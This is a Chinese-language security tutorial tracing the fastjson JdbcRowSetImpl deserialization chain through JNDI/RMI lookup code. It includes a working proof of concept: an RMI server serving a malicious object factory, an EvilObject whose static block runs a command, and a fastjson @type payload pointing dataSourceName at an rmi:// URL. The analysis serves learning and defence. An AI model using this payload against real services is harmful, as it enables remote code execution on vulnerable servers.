fastjson反序列化JdbcRowSetImpl链
这里开始需要JNDI和RMI的知识了Java之RMI和JNDI
从上面的文章知道了InitialContext.lookup(String name)
是检索命名对象,先从InitialContext.lookup(String name)
开始分析,之后再从JdbcRowSetImpl
分析。
先放Poc的链接
RMI服务端
启动服务端
public class RMIServer {
public static void main(String argv[]) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
//如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory,则尝试从factoryLocation 获取
//因此,本地测试的话,如果factory正确,factoryLocation随便填写
Reference reference = new Reference("EvilObject",
"org.lain.poc.jndi.EvilObjectFactory",
"http://localhost:9999/" );
//客户端通过evil查找,获取到EvilObject
registry.bind("evil", new ReferenceWrapper(reference));
System.out.println("Ready!");
System.out.println("Waiting for connection......");
} catch (Exception e) {
System.out.println("RMIServer: " + e.getMessage());
e.printStackTrace();
}
}
}
客户端
启动客户端在lookup(String name)
打断点
public class Client {
public static void main(String[] args) throws NamingException {
/*初始化*/
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");//localhost
//env.put(Context.PROVIDER_URL, "rmi://xx.xx.xx.xx:1090");//remote
/*JDK1.8xx trustURLCodebase默认是false*/
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context ctx = new InitialContext(env);
System.out.println(ctx.lookup("evil"));
}
}
InitialContext
首先进入的是lookup(String name)
//InitialContext.java
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
顾名思义getURLOrDefaultInitCtx
是拿到URL的Ctx,跟lookup(name)
//RegistryContext.java
public Object lookup(String var1) throws NamingException {
return this.lookup((Name)(new CompositeName(var1)));
}
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0)); //继续跟进来
} catch{...}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
跟this.registry.lookup(var1.get(0))
后发现进到了RegistryImpl_Stub
,从类名的Stub可以知道这是大概是远程对象的Client代理。
//RegistryImpl_Stub.java
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var17) {
throw new MarshalException("error marshalling arguments", var17);
}
this.ref.invoke(var2);
Remote var22;
try {
ObjectInput var4 = var2.getInputStream();
var22 = (Remote)var4.readObject();
} catch (IOException var14) {
throw new UnmarshalException("error unmarshalling return", var14);
} catch (ClassNotFoundException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} finally {
this.ref.done(var2);
}
return var22;
} catch (RuntimeException var18) {
throw var18;
} catch (RemoteException var19) {
throw var19;
} catch (NotBoundException var20) {
throw var20;
} catch (Exception var21) {
throw new UnexpectedException("undeclared checked exception", var21);
}
}
得到了var2是一个ReferenceWrapper_Stub
,跟decodeObject()
方法
//RegistryContext.java
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch{...}
return this.decodeObject(var2, var1.getPrefix(1));
}
return this.decodeObject(var2, var1.getPrefix(1)); //跟这个
}
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5){...}
}
var3是注册在Registry
的EvilObject,跟getObjectInstance()
方法,顾名思义get实例。
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception{
ObjectFactory factory;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {...}
}
}
getObjectFactoryFromReference(ref, f)
得到Factory对象然后factory.getObjectInstance(ref, name, nameCtx,environment)
因为EvilObjectFactory
实现了ObjectFactory
接口且实现了getObjectInstance()
方法
//EvilObjectFactory.java
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
EvilObject evilObject = new EvilObject();
return evilObject;
}
new
的时候根据加载机制先加载static代码块,也就执行了恶意代码
//EvilObject.java
public class EvilObject {
public EvilObject(){
System.out.println("Hi!");
}
/**
* 简单的命令执行
*/
static {
try {
Runtime.getRuntime().exec("calc");
}catch (IOException e){
//ignore
}
}
}
到此从InitialContext.lookup()
开始的调用链结束了,而下面才要开始分析JdbcRowSetImpl
如何调用InitialContext.lookup()
的。
JdbcRowSetImpl
public class App
{
public static void main(String[] args )throws Exception
{
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JdbcRowSetImplPoC.testJdbcRowSetImpl("rmi://localhost:1099/evil");
}
}
public class JdbcRowSetImplPoC {
public static void testJdbcRowSetImpl(String dataSourceName){
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
+ "\"dataSourceName\":\"" + dataSourceName + "\","
+ "\"autoCommit\":\"false\"}";
System.out.println(payload);
try{
JSONObject.parse(payload,config);
}catch (Exception e){
e.printStackTrace();
}
}
}
需要把trustURLCodebase属性调为True
否则不能引用远程对象,会报错。
还有因为最开始看的文章说autoCommit
设置为True
会调用setAutoCommit()
方法,搞的我以为必须要True
,实际上只要是Boolean
类型即可。
同样的启动RMI服务端,然后在JSONObject.parse(payload,config)
打上断点。
//JSON.java
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
public static Object parse(String text, ParserConfig config) {
return parse(text, config, DEFAULT_PARSER_FEATURE);
}
public static Object parse(String text, ParserConfig config, int features) {
if (text == null) {
return null;
}
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
DefaultJSONParser()
方法得到一个DefaultJSONParser
对象,跟入parser.parse()
。
//DefaultJSONParser.java
public Object parse() {
return parse(null);
}
public Object parse(Object fieldName) {
final JSONLexer lexer = this.lexer;
case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return parseObject(object, fieldName);
}
这个parseObject()
方法应该会觉得眼熟吧,如果之前了解过TemplatesImpl
利用链的话。
//DefaultJSONParser.java
public final Object parseObject(final Map object, Object fieldName){
//类型检查
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}
checkAutoType()
方法检查传入的类型是否安全,如果通过就会返回传入类型的Class。
config.getDeserializer(clazz)
返回的类型比较怪,因为用到ASM技术,没办法直接查看源码,需要用IDEA的Run to Cursor或者快捷键Alt + F9,强行从光标处调试代码。跟deserialze()
。
//JavaBeanDeserializer.java
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
return deserialze(parser, type, fieldName, 0);
}
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features) {
return deserialze(parser, type, fieldName, null, features, null);
}
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features, int[] setFlags){
if (type == JSON.class || type == JSONObject.class) {/*光标放这然后Alt+F9*/}
String typeKey = beanInfo.typeKey;
/*随后的代码是调用各个字段的FieldDeserializers*/
//一直F8到这
fieldDeser.setValue(object, fieldValue);
}
这时的fieldDeser是一个专门解析autoCommit
属性的FieldDeserializer
。
//FieldDeserializer.java
public void setValue(Object object, Object value){
Method method = fieldInfo.method;//拿到setAutoCommit(boolean)的Method
if (method != null){
if(fieldInfo.getOnly){}
else{
method.invoke(object, value);
}
}
}
invoke我们的setAutoCommit(boolean)
!尽头近在咫尺😋
但是不懂为啥,我的IDEA直接跳了一大段,建议从调用栈找一下JdbcRowSetImpl.setAutoCommit(boolean)
,或者直接去JdbcRowSetImpl.setAutoCommit(boolean)
点一下 Run to Cursor。
//JdbcRowSetImpl.java
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect(); //跟这个
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
} catch (NamingException var3) {}
} else {}
}
看到在try代码块里的这2行代码不就是本篇最开始分析的调用链吗?只是lookup()
里的是this.getDataSourceName()
而不是我们硬编码的**“rmi://localhost:1099/evil”**。执行到lookup()
方法,那么JdbcRowSetImpl
利用链也就结束了。
不同版本绕过的payload参考文章:
- JAVA反序列化—FastJson组件
- Fastjson 1.2.25-1.2.47反序列化漏洞分析
- 随便搜了一下发现原来还有应对不出网情况下的利用链Java动态类加载,当FastJson遇到内网